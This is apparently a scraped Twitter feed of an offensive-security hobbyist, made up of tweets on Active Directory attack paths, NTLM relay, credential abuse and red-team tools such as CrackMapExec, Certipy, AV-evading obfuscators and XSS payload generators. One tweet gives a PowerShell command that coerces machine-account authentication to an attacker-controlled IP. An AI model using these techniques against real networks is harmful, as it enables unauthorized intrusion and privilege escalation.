Nick

I hack stuff

[Mayfly @M4yFly]

Did you know you didn't need to use a potatoes exploit to going from iis apppool account to admin or system ?

Simply use:
powershell iwr http://192.168.56.1 -UseDefaultCredentials
To get an HTTP coerce of the machine account.
👇🧵

[Nick @BrinklesBB]

@icyguider I know some red team opportunities open at the company I work for, pm me

[mpgn @mpgn_x64]

I'm to late to the party ? 🎉

[Nick @BrinklesBB]

@Octoberfest73 I’m curious to hear what other people do about that as well!

[Nick @BrinklesBB]

@Octoberfest73 For splitting json files after the collector has finished, I have used a tool on GitHub called ShredHound. Makes life easy importing lots of data into bloodhound. Now for running queries pulling crazy amounts of data, I’ve just ran bloodhound with limited json database imports.

[HackGit @hack_git]

yetAnotherObfuscator

A C# obfuscator tool that can bypass Windows Defender antivirus. I made this tool mainly as an excuse to learn more about C# and how obfuscators function.

https://t.co/1NmAmtliZJ

#cybersecurity #infosec #pentesting #redteam https://t.co/Xz2ELtyJnl

[sn🥶vvcr💥sh @snovvcrash]

🧵 (1/x) I know you love #pentest stories, so here’s one of those ⬇️

There’s a non-DC computer (Victim) that is a member of the Exchange Trusted Subsytem group and has DCSync privs. The WebClient is ON but the MAQ=0 and domain functional level is 2012 R2 which prevents us ⤵️

[OrdinalExport @OrdinalExport]

Releasing a new tool: Orpheus! Bypasses most Kerberoast Detections (including my own). Blog post and video is up at @TrustedSec! Even used @HackingDave's old alias in the demo. https://t.co/qhP8r28s4K #infosec #security #kerberoast

[mpgn @mpgn_x64]

Execute commands as another user w/t dumping LSASS or touching the ADCS server ? Thanks to @Defte_ a new module has been added to CrackMapExec 🚀

The module will impersonate any logged on user to exec command as "this" user (system, domain user etc) 🔥

[Diego Capriotti @naksyn]

[NTLMv1 Downgrade and further attacks] adding to the great @n00py1 blog https://t.co/0Amyy0or6k, if conditions are met you can also use @elad_shamir
shadow credentials technique, see below 👇

[mpgn @mpgn_x64]

New update on CrackMapExec 🔽

➡️ Upload/download with MSSQL -guervild
➡️ Exploit KeePass (discover, trigger) @d3lb3_ 🔥
➡️ ACL read with LDAP @BlWasp_
➡️ Check ntlmv1 (postex) @Tw1sm
➡️ Check alwayselevated (postex) -bogey3
➡️ Improved export on cmedb @gray_sec

🪂

[an0n @an0n_r0]

Here is why NetNTLMv1 should be disabled in prod networks ASAP. Besides cracking the hash back to NTLM (and then forging Silver Tickets) is straightforward, there is also a lesser known but immediate relay attack path by removing the MIC and doing RBCD abuse. Demo in screenshots.

[Swissky @pentest_swissky]

How did I miss that! This repository is amazing to emulate several attackers🤩
"A PoC that packages payloads into output containers to evade Mark-of-the-Web flag. Supports: ZIP, 7zip, PDF, ISO, IMG, CAB, VHD, VHDX" - @mariuszbit https://t.co/Ii6INAkmG5

[☣ KitPloit - Hacker Tools @KitPloit]

Toxssin - An XSS Exploitation Command-Line Interface And Payload Generator https://t.co/0u4wE00Scf

[sn🥶vvcr💥sh @snovvcrash]

It’s so dope how much stuff can be done with CrackMapExec. I never cease to be amazed how freakingly cool this tool is.

[Pethuraj M @Pethuraj]

Logsensor - A Powerful Sensor Tool to discover login panels, and POST Form #SQLi Scanning
» https://t.co/Hsey6CI5S5

#cybersecurity #bugbounty #infosec #bugbountytips #SQLI

[Andy Robbins @_wald0]

From initial access to Global Admin with #BloodHound and BARK.

In this thread let's walk, step by step, through an example attack path based on real configurations we've seen in real environments:

[Oliver Lyak @ly4k_]

Certipy reached 1k stars on GitHub. Let’s celebrate with a brand new version, new research, a forked BloodHound GUI with ADCS support, and many new features, for instance Schannel authentication via LDAPS, SSPI authentication, and much more!

https://t.co/h85p3cCO1N

[Filip Dragovic @filip_dragovic]

Spooler service disabled, RPC filters installed to prevent PetitPotam and File Server VSS Agent Service not installed but you still want to relay DC authentication to ADCS?
Don't worry MS-DFSNM have your back ;)

https://t.co/idwMnM8nIV

[Nick @BrinklesBB]

@_JohnHammond Any switches to important a cobalt strike beacon into the payload as of now? Or any beacon imports into the payload?